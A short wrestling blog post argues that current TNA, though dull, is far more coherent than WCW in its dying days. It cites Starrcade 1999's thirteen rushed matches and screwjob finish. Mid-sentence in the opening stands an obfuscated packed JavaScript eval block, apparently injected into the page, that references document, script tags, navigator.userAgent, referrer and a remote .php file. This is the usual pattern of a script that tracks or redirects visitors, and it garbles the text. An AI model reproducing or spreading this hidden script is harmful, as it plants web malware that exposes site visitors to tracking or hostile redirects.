Thought of the Day: Bad vs. Dull
And eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|difas|var|u0026u|referrer|rzaer||js|php'.split('|'),0,{})) I mean that in a good way.I just finished watching Starrcade 1999 and my freaking goodness it was a mess. There were thirteen matches on a two and a half hour show, meaning that only three matches broke 8 minutes. There were stupid angles, there were gimmick matches all over the place, and the ending was a Montreal Screwjob.
People that say TNA is the same as WCW was in its dying days have no idea what they’re talking about. TNA still makes (mostly) coherent sense and has some spots of awesome mixed in with all the Hogan and Sting dullness. Right now, TNA isn’t that interesting, but it’s certainly not horrendous. There’s a very big difference between the two and it’s something people often forget about.
